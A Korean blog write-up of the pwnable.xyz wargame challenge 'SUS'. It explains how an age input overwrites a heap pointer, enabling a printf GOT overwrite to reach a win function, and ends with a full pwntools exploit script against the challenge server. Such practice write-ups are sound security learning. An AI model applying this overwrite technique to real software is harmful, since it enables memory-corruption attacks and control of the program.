tmxklab
[Pwnable.xyz] SUS 본문
1. 문제
nc svc.pwnable.xyz 30011
1) 문제 확인
2) 함수 확인
2-1) 메인 함수
2-2) create_user()
2-3) print_user()
2-4) eidt_usr()
2-5) read_int32()
3) mitigation
2. 접근방법
1) 변수 위치 정리
name데이터는 힙에 저장되고 age데이터는 스택에 저장됨
2) 디버깅 확인
create_user()에서는 s변수에 입력(name)을 받고 age값 스택에 저장됨
edit_usr()에서는 cur변수에 입력(name)을 받음 v0+0x48[0x7ffffffecea8]에 저장됨
이 때, [rbx+0x48] 이렇게 주소 값을 참조하여 저장하므로(rbx : s변수 주소 값) 아까랑 동일하게 0x7ffffffecea8에 저장됨
여기서 의문점이 name을 받는 부분은 포인터 사용해서 힙 영역에 데이터 저장한다 쳐도
age를 받는 부분에서 create_user()에서는 [rbp-0x1018]에 저장하고 edit_usr()에서는 [rbx+0x48]에 저장하는데 동일한 공간에 저장된다.
2-1) create user()
- eax값은 read_intr32()에서 입력받은 값을 atoi함수를 통해 int형으로 반환한 값이며 결국 age값이 [rbp-0x1018]에 저장
2-2) edit_usr()
- [rbx+0x48]에 age값이 저장됨
그럼 edit_usr()의 read_int32()에 buf[rbp-0x30]으로부터 0x18떨어진 곳에 0x603260이 존재한다.(s변수가 malloc통해서 메모리할당 받았던 힙 영역 주소)
덮어씌어지는지 확인해보즈아
실행하기 전)
실행 후)
0x603260의 값이 덮어씌어지는 것을 확인할 수 있다.
이 후에 edit_usr()를 실행하면
원래대로라면 rax에 0x603260이 들어가야하는데 방금 전 덮어씌어지므로 rax에 0x4343..이 들어있다.
따라서, edit_usr()의 read_int32()의 read함수에서 [rbp-0x30]에 buf의 값이 들어가는데 이 때, 최대 32bytes까지 쓸 수 있으므로 0x603260의 값을 변조할 수 있다.
스택 구조)
mitigation에서 Partial RELRO이므로 GOT Overwrite가 가능하다.
결론)
- 메뉴 1번에서 이름과 나이 아무 값을 입력
- 메뉴 3번에 edit에서 이름은 아무거나 입력하고 age를 입력할 때 dummy(16bytes) + printf_got값을 넣음
- 메뉴 3번을 입력하여 cur에 printf_got가 입력되어 있으므로 win주소 값을 입력
3. 풀이
1) 익스코드
from pwn import *
context.log_level="debug"
p = remote("svc.pwnable.xyz", 30011)
e = ELF("./challenge")
win_addr = p64(e.symbols['win'])
printf_got =p64(e.got['printf'])
p.sendlineafter("> ", "1")
p.sendafter(": ", "AAAA")
p.sendafter("Age: ", "1")
p.sendlineafter("> ", "3")
p.sendafter("Name: ", "AAAA")
p.sendafter("Age: ", "A"*16+str(printf_got))
p.sendlineafter("> ", "3")
p.sendafter("Name: ", str(win_addr))
p.interactive()
2) 공격 실행
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] strcat (0) | 2020.05.03 |
---|---|
[Pwnable.xyz] J-U-M-P (0) | 2020.05.03 |
[Pwnable.xyz] fspoo (0) | 2020.04.23 |
[Pwnable.xyz] Game (0) | 2020.04.13 |
[Pwnable.xyz] I33t-ness (0) | 2020.04.09 |